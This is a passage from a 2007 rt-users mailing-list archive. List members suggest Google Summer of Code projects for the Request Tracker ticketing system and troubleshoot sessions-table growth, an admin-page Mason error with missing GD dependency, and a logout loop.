I don't know if there is a way to accomplish this already, but on Monday I was out and really would have liked to be able to pass on a message to those who submitted requests that were assigned to me that I won't be in till X. In general most issues just go into the general queue and they are taken by whomever is in that day, but there are some issues we delegate out right away to individuals with the needed skills. Since my out of office reply in Exchange doesn't pass through RT and would only trigger for the first person of the day, I was wondering if there were a similar function that could be carried out in RT. 

--Ryan 


From ocraig at stillsecure.com  Wed Feb 28 16:41:38 2007
From: ocraig at stillsecure.com (Ole Craig)
Date: Wed, 28 Feb 2007 14:41:38 -0700
Subject: [rt-users] Google Summer of Code
In-Reply-To: <1172697827.3854.97.camel@mlap>
References: <15E6561A-3206-43B7-BD28-1C7BAE7E6C79@bestpractical.com>
	<1172697827.3854.97.camel@mlap>
Message-ID: <1172698898.16925.16.camel@ook>

On Wed, 2007-02-28 at 16:23 -0500, Matthew Keller wrote:
> Billing and accounts. O:-)

And real reporting, output to PDF or HTML, with the ability to automate
scheduled emails of reports to the pointy-haired.

-- 
/Ole Craig
Security Engineer
Team lead, customer support

ocraig at stillsecure.com
303-381-3824 direct
303-381-3802 support
303-381-3880 fax

www.stillsecure.com



From trosmus at nwnexus.net  Wed Feb 28 16:44:19 2007
From: trosmus at nwnexus.net (Tim Rosmus)
Date: Wed, 28 Feb 2007 13:44:19 -0800 (PST)
Subject: [rt-users] sessions table size
In-Reply-To: <9C0091F428E697439E7A773FFD083427A92AC4@szexchange.Shopzilla.inc>
References: <9C0091F428E697439E7A773FFD083427A92AC4@szexchange.Shopzilla.inc>
Message-ID: <Pine.GSO.4.64.0702281343140.20313@admin.halcyon.com>

On Wed, 28 Feb 2007, Philip Kime wrote:

|# My sessions table in rt (MySQL) is 1.2Gb. Is this normal? I thought it
|# was fairly temporary data? We have only about 100 users, more automated
|# jobs really but I was surprised to see this so large. It's accounts for
|# nearly 50% of the size of the whole DB.
|#  

	http://wiki.bestpractical.com/index.cgi?CleanupSessions

-- 
                Tim Rosmus <trosmus at nwnexus.net>
                   Postmaster / USENET / DNS
                Northwest Nexus Inc. / NetOS Inc.


From bobg at uic.edu  Wed Feb 28 16:45:49 2007
From: bobg at uic.edu (Bob Goldstein)
Date: Wed, 28 Feb 2007 15:45:49 -0600
Subject: [rt-users] Google Summer of Code 
In-Reply-To: Your message of "Wed, 28 Feb 2007 16:23:47 EST."
	<1172697827.3854.97.camel@mlap> 
Message-ID: <200702282145.l1SLjnxr026726@remora.cc.uic.edu>

>On Wed, 2007-02-28 at 14:29 -0500, Jesse Vincent wrote:
>> I'd love to submit RT to Google's Summer of Code this summer.  It's  
>> probably time to start brainstorming projects.
>> 
>> What would you like to do/see done as part of a RT summer of code  
>> project?


    A rational, extensible, full-featured REST 2.0
       bobg

>> 
>> Jesse
>> _______________________________________________
>> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
>> 
>> Community help: http://wiki.bestpractical.com
>> Commercial support: sales at bestpractical.com
>> 
>> 
>> Discover RT's hidden secrets with RT Essentials from O'Reilly Media. 
>> Buy a copy at http://rtbook.bestpractical.com
>
>_______________________________________________
>http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
>
>Community help: http://wiki.bestpractical.com
>Commercial support: sales at bestpractical.com
>
>
>Discover RT's hidden secrets with RT Essentials from O'Reilly Media. 
>Buy a copy at http://rtbook.bestpractical.com
>


From jesse at bestpractical.com  Wed Feb 28 16:49:44 2007
From: jesse at bestpractical.com (Jesse Vincent)
Date: Wed, 28 Feb 2007 16:49:44 -0500
Subject: [rt-users] Google Summer of Code
In-Reply-To: <45E5F795.3040605@vonage.com>
References: <15E6561A-3206-43B7-BD28-1C7BAE7E6C79@bestpractical.com>
	<45E5F795.3040605@vonage.com>
Message-ID: <20070228214943.GR25008@bestpractical.com>




On Wed, Feb 28, 2007 at 04:43:49PM -0500, Dmitri Tikhonov wrote:
> Jesse Vincent wrote:
> >What would you like to do/see done as part of a RT summer of code 
> >project?
> 
> Hi Jesse,
> 
> How about improving performance for very large databases (I am talking 
> millions of tickets)?  There are a couple of approaches I have been 
> considering:

I sort of suspect that this one will be relatively hard to pass off as a
student project for the summer (though I've been surprised before ;)

I've recently spent some time with an RT instance running on an entirely
unoptimized MySQL 4.1 with about a million and a half tickets.
Performance was surprisingly eppy (most page loads were well under a
second).  What kinds of performance are you seeing? And how many
millions?

Best, 
Jesse



> 1. Do away with dynamic policy and calculate it once per user session 
> (this would probably require removing per-ticket rights).
> 
> 2. Do a better job of caching policy results (*HasRight business) and 
> associate it with user session, so they virtually become free.  I have 
> been given it some thought (and code) lately and can elaborate if you're 
> interested.
> 
>   - Dmitri.
> 

-- 


From ktm at rice.edu  Wed Feb 28 16:56:10 2007
From: ktm at rice.edu (Kenneth Marshall)
Date: Wed, 28 Feb 2007 15:56:10 -0600
Subject: [rt-users] Google Summer of Code
In-Reply-To: <B2F2C466-282A-4821-982B-8D1CCF0A6D09@uiuc.edu>
References: <15E6561A-3206-43B7-BD28-1C7BAE7E6C79@bestpractical.com>
	<B2F2C466-282A-4821-982B-8D1CCF0A6D09@uiuc.edu>
Message-ID: <20070228215610.GS17715@it.is.rice.edu>

On Wed, Feb 28, 2007 at 03:28:37PM -0600, John Arends wrote:
> The ability to use AD (or LDAP) to hold group members.
> 
Definitely using normal LDAP would be great, with ADLDAP support
in second. Adding full-text indexing and search capability to improve
the performance with DBs that support it (PostgreSQL, MySQL, Oracle,..)

Ken


From dtikhonov at vonage.com  Wed Feb 28 16:58:02 2007
From: dtikhonov at vonage.com (Dmitri Tikhonov)
Date: Wed, 28 Feb 2007 16:58:02 -0500
Subject: [rt-users] Google Summer of Code
In-Reply-To: <20070228214943.GR25008@bestpractical.com>
References: <15E6561A-3206-43B7-BD28-1C7BAE7E6C79@bestpractical.com>
	<45E5F795.3040605@vonage.com>
	<20070228214943.GR25008@bestpractical.com>
Message-ID: <45E5FAEA.5080307@vonage.com>

Jesse Vincent wrote:
> I've recently spent some time with an RT instance running on an entirely
> unoptimized MySQL 4.1 with about a million and a half tickets.
> Performance was surprisingly eppy (most page loads were well under a
> second).

Nice...

 > What kinds of performance are you seeing? And how many
> millions?

A couple of seconds to load a ticket with about 2 million of them in the 
database; several seconds to display a page search results.

Of course, we have a heavily modified 3.4.5 and so it's not really 
apples to apples.  Moving to a static (or better cached) policy would 
give it a significant boost.

   - Dmitri.



From elg at bu.edu  Wed Feb 28 16:45:03 2007
From: elg at bu.edu (Gauthier, Eric L)
Date: Wed, 28 Feb 2007 16:45:03 -0500
Subject: [rt-users] Google Summer of Code
In-Reply-To: <B2F2C466-282A-4821-982B-8D1CCF0A6D09@uiuc.edu>
Message-ID: <56D476CC1C49B94B841267A5FB22D5318A01C8@OIT-EX.ad.bu.edu>

Hello,

Something that I've been thinking about is a hierarchical task/project
module where a "project" would be the parent ticket, with individual
tasks as "children" tickets.  Its basically the same structure as RT
uses for tickets, but the interface would have to be different.
Essentially, I need something better than Outlook tasks but not true
project management.

Eric Gauthier
  Network Engineer
  617-353-8218 ~^~ elg at nsegc.bu.edu
Boston University - Office of IT



-----Original Message-----
From: rt-users-bounces at lists.bestpractical.com
[mailto:rt-users-bounces at lists.bestpractical.com] On Behalf Of John
Arends
Sent: Wednesday, February 28, 2007 4:29 PM
To: Jesse Vincent
Cc: rt-Users Users
Subject: Re: [rt-users] Google Summer of Code

The ability to use AD (or LDAP) to hold group members.

On Feb 28, 2007, at 1:29 PM, Jesse Vincent wrote:

> I'd love to submit RT to Google's Summer of Code this summer.  It's 
> probably time to start brainstorming projects.
>
> What would you like to do/see done as part of a RT summer of code 
> project?
>
> Jesse
> _______________________________________________
> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
>
> Community help: http://wiki.bestpractical.com Commercial support: 
> sales at bestpractical.com
>
>
> Discover RT's hidden secrets with RT Essentials from O'Reilly Media.
> Buy a copy at http://rtbook.bestpractical.com

_______________________________________________
http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users

Community help: http://wiki.bestpractical.com Commercial support:
sales at bestpractical.com


Discover RT's hidden secrets with RT Essentials from O'Reilly Media. 
Buy a copy at http://rtbook.bestpractical.com


From dtikhonov at vonage.com  Wed Feb 28 17:01:25 2007
From: dtikhonov at vonage.com (Dmitri Tikhonov)
Date: Wed, 28 Feb 2007 17:01:25 -0500
Subject: [rt-users] Google Summer of Code
In-Reply-To: <200702282145.l1SLjnxr026726@remora.cc.uic.edu>
References: <200702282145.l1SLjnxr026726@remora.cc.uic.edu>
Message-ID: <45E5FBB5.1050509@vonage.com>

Bob Goldstein wrote:
>  >On Wed, 2007-02-28 at 14:29 -0500, Jesse Vincent wrote:
>  >> I'd love to submit RT to Google's Summer of Code this summer.  It's 
>  >> probably time to start brainstorming projects.
>  >>
>  >> What would you like to do/see done as part of a RT summer of code 
>  >> project?
> 
> 
>     A rational, extensible, full-featured REST 2.0

Yes.  The server-side REST code could stand some improvement.  I am 
willing to donate (or [co-]maintain, if server-side changes are not very 
heavy and don't take up oodles of time to keep up) RT::Client::REST to 
the project.

   - Dmitri.


From ocraig at stillsecure.com  Wed Feb 28 17:09:13 2007
From: ocraig at stillsecure.com (Ole Craig)
Date: Wed, 28 Feb 2007 15:09:13 -0700
Subject: [rt-users] Google Summer of Code
In-Reply-To: <B2F2C466-282A-4821-982B-8D1CCF0A6D09@uiuc.edu>
References: <15E6561A-3206-43B7-BD28-1C7BAE7E6C79@bestpractical.com>
	<B2F2C466-282A-4821-982B-8D1CCF0A6D09@uiuc.edu>
Message-ID: <1172700553.16925.30.camel@ook>

        The ability to tie multiple email addresses to a single user, so
that I can tell RT that joeb at example.com and joe.bloggs at mail.example.com
are the same user and mail addressed to either one ends up in the same
mailbox. 

Corollaries:
      * either source address should be allowed to correspond with a
        ticket that the other has opened, and
      * when the ticket owner sends email to the ticket, only the
        address that was originally associated with the ticket will get
        an email.


On Wed, 2007-02-28 at 15:28 -0600, John Arends wrote:
> The ability to use AD (or LDAP) to hold group members.
-- 
/Ole Craig
Security Engineer
Team lead, customer support

ocraig at stillsecure.com
303-381-3824 direct
303-381-3802 support
303-381-3880 fax

www.stillsecure.com



From judy at epicenter.ucsd.edu  Wed Feb 28 17:11:26 2007
From: judy at epicenter.ucsd.edu (Judy Illeman Gaukel)
Date: Wed, 28 Feb 2007 14:11:26 -0800
Subject: [rt-users] RT 3.6.3, Solaris 9,
	Global config RT-at-a-glance page broken
Message-ID: <45E5FE0E.9080207@epicenter.ucsd.edu>

Hello,
I'm going around in circles trying to figure out why I am unable to use 
the Admin/Global
configuration "RT at a glance" page (the error I get is:

*System error*

*error:*      Can't call method "Content" on an undefined value at 
/opt/csw/rt3/share/html/Admin/Global/MyRT.html line 50.
*context:*     
*...*     
*46:*      my ( $conf, $pane ) = @_;
*47:*      $default_portlets->SetContent( $conf );
*48:*      push @actions, loc( 'Global portlet [_1] saved.', $pane );
*49:*      }
*50:*      );
*51:*     
*52:*      $m->comp( '/Widgets/SelectionBox:process', %ARGS, self => $_, 
nojs => 1 )
*53:*      for @panes;
*54:*     
*...*     

*code stack:*      /opt/csw/rt3/share/html/Admin/Global/MyRT.html:50
/opt/csw/rt3/share/html/Admin/autohandler:47
/opt/csw/rt3/share/html/autohandler:292

raw error <http://isi.ucsd.edu/rt3/Admin/Global/MyRT.html#raw>

I have tried to track down what the problem is:


/opt/csw/rt3/sbin/rt-test-dependencies --install -v
perl:
       >=5.8.3(5.008008)...found
users:
       rt group (bin)...found
       bin owner (root)...found
       libs owner (root)...found
       libs group (bin)...found
       web owner (nobody)...found
       web group (nobody)...found
CLI dependencies:
       Getopt::Long >=2.24...found
CORE dependencies:
       Digest::base...found
       Digest::MD5 >=2.27...found
       DBI >=1.37...found
       Test::Inline...found
       Class::ReturnValue >=0.40...found
       Date::Format...found
       DBIx::SearchBuilder >=1.40...found
       Text::Template...found
       File::Spec >=0.8...found
       HTML::Entities...found
       HTML::Scrubber >=0.08...found
       Net::Domain...found
       Log::Dispatch >=2.0...found
       Locale::Maketext >=1.06...found
       Locale::Maketext::Lexicon >=0.32...found
       Locale::Maketext::Fuzzy...found
       MIME::Entity >=5.108...found
       Mail::Mailer >=1.57...found
       Net::SMTP...found
       Text::Wrapper...found
       Time::ParseDate...found
       Time::HiRes...found
       File::Temp...found
       Term::ReadKey...found
       Text::Autoformat...found
       Text::Quoted >=1.3...found
       Tree::Simple >=1.04...found
       Scalar::Util...found
       Module::Versions::Report...found
       Cache::Simple::TimedExpiry...found
       UNIVERSAL::require...found
       Calendar::Simple...found
DEV dependencies:
       Regexp::Common...found
       Test::Inline...found
       Apache::Test...found
       HTML::Form...found
       HTML::TokeParser...found
       WWW::Mechanize...found
       Test::WWW::Mechanize >=1.04...found
       Module::Refresh >=0.03...found
       Test::Expect >=0.30...found
       XML::Simple...found
       File::Find...found
MAILGATE dependencies:
       HTML::TreeBuilder...found
       HTML::FormatText...found
       Getopt::Long...found
       LWP::UserAgent...found
MASON dependencies:
       Params::Validate >=0.02...found
       Cache::Cache...found
       Exception::Class >=1.14...found
       HTML::Mason >=1.23...found
       MLDBM...found
       Errno...found
       FreezeThaw...found
       Digest::MD5 >=2.27...found
       CGI::Cookie >=1.20...found
       Storable >=2.08...found
       Apache::Session >=1.53...found
       XML::RSS >=1.05...found
       HTTP::Server::Simple >=0.07...found
       HTTP::Server::Simple::Mason >=0.09...found
       GD ...MISSING
       GD::Graph...found
       GD::Text...found
       Text::WikiFormat >=0.76...found

Install module GD
Going to read /home/judy/.cpan/Metadata
 Database was generated on Tue, 27 Feb 2007 20:09:22 GMT
GD is up to date (2.35).

SOMETHING WAS MISSING!


Now -- because it appears that it "fixes" GD (I hand-downloaded GD and 
added it in prior to this) -- I went ahead and tried
#/opt/csw/rt3/sbin/rt-setup-database --action insert --datadir 
etc/upgrade/3.5.1
And THAT comes back with:
next at /opt/csw/share/perl/site_perl/Locale/Maketext/Lexicon.pm line 471.

What is my next move?   I'm really clueless of how to fix this.   Is GD 
still missing?   Or is it something else?!!!
It looks to me like GD is there, and up to date... but - it consistently 
comes back the same way!!!

Thanks for any help,
  Judy





From dtikhonov at vonage.com  Wed Feb 28 16:43:49 2007
From: dtikhonov at vonage.com (Dmitri Tikhonov)
Date: Wed, 28 Feb 2007 16:43:49 -0500
Subject: [rt-users] Google Summer of Code
In-Reply-To: <15E6561A-3206-43B7-BD28-1C7BAE7E6C79@bestpractical.com>
References: <15E6561A-3206-43B7-BD28-1C7BAE7E6C79@bestpractical.com>
Message-ID: <45E5F795.3040605@vonage.com>

Jesse Vincent wrote:
> What would you like to do/see done as part of a RT summer of code 
> project?

Hi Jesse,

How about improving performance for very large databases (I am talking 
millions of tickets)?  There are a couple of approaches I have been 
considering:

1. Do away with dynamic policy and calculate it once per user session 
(this would probably require removing per-ticket rights).

2. Do a better job of caching policy results (*HasRight business) and 
associate it with user session, so they virtually become free.  I have 
been given it some thought (and code) lately and can elaborate if you're 
interested.

   - Dmitri.


From pkime at Shopzilla.com  Wed Feb 28 17:59:41 2007
From: pkime at Shopzilla.com (Philip Kime)
Date: Wed, 28 Feb 2007 14:59:41 -0800
Subject: [rt-users] sessions table size
References: <9C0091F428E697439E7A773FFD083427A92AC4@szexchange.Shopzilla.inc>
	<Pine.GSO.4.64.0702281343140.20313@admin.halcyon.com>
Message-ID: <9C0091F428E697439E7A773FFD083427A92AC7@szexchange.Shopzilla.inc>

Groan, can't believe I missed this, many thanks.

PK 

-----Original Message-----
From: Tim Rosmus [mailto:trosmus at nwnexus.net] 
Sent: Wednesday, February 28, 2007 1:44 PM
To: Philip Kime
Cc: rt-users at lists.bestpractical.com
Subject: Re: [rt-users] sessions table size

On Wed, 28 Feb 2007, Philip Kime wrote:

|# My sessions table in rt (MySQL) is 1.2Gb. Is this normal? I thought 
|it # was fairly temporary data? We have only about 100 users, more 
|automated # jobs really but I was surprised to see this so large. It's 
|accounts for # nearly 50% of the size of the whole DB.
|#

	http://wiki.bestpractical.com/index.cgi?CleanupSessions

-- 
                Tim Rosmus <trosmus at nwnexus.net>
                   Postmaster / USENET / DNS
                Northwest Nexus Inc. / NetOS Inc.



From gpetme at gmail.com  Wed Feb 28 18:09:45 2007
From: gpetme at gmail.com (Greg Petras)
Date: Wed, 28 Feb 2007 15:09:45 -0800
Subject: [rt-users] Logging out is in a loop or something
Message-ID: <ffa2dce10702281509t7c4bb2eaoaa94ee0bc2163695@mail.gmail.com>

> Carlos Ramon Lopez Midence wrote:
> > Hello all:
> >
> > I have installed the Packaged version of RT-3.6.3-1fc from Fedora Core 6
> > everything seems to work fine except that when I try to click on the
> > logout button it shows the screen that says " You are logging out now,
> > You may log back again" and brings me to the home page, it doesn't log
> > me out as it should, just keep getting this loop back to home page....

I've seen the same problem. The problem was significantly reduced when
I properly configured $WebBaseURL in RT_SiteConfig.pm. I still do
intermittently see the issue though (almost always with Firefox).

For the record, I'm running RT 3.6.3, Apache 2.0.59, Perl 5.8.8,
mod_perl 2.0.3, and MySQL 5.0.27.

Greg


From ldriggers at fncinc.com  Wed Feb 28 18:27:52 2007
From: ldriggers at fncinc.com (Les Driggers)
Date: Wed, 28 Feb 2007 17:27:52 -0600
Subject: [rt-users] Google Summer of Code
In-Reply-To: <15E6561A-3206-43B7-BD28-1C7BAE7E6C79@bestpractical.com>
Message-ID: <2788D5DC2F58B24280FC3F99956AE1C903F1D6B1@ox-exch01.fncinc.com>

In order of preference:
1) Easily customizable reports. 
2) "Hidden" approvals. (i.e. ticket is hidden until approval is given)
3) Group ownership of tickets.

The OpenNMS integration and project management suggestions are good also.

Les

--
Les Driggers ? Manager, Corporate IT
T 662/236-8200 ? F 662/236-2037 ? ldriggers at fncinc.com
FNC Inc. ? 1214 Office Park Drive ? Oxford, MS 38655
www.fncinc.com

 

> -----Original Message-----
> From: rt-users-bounces at lists.bestpractical.com 
> [mailto:rt-users-bounces at lists.bestpractical.com] On Behalf 
> Of Jesse Vincent
> Sent: Wednesday, February 28, 2007 1:30 PM
> To: rt-Users Users
> Subject: [rt-users] Google Summer of Code
> 
> I'd love to submit RT to Google's Summer of Code this summer. 
>  It's probably time to start brainstorming projects.
> 
> What would you like to do/see done as part of a RT summer of 
> code project?
> 
> Jesse
> 
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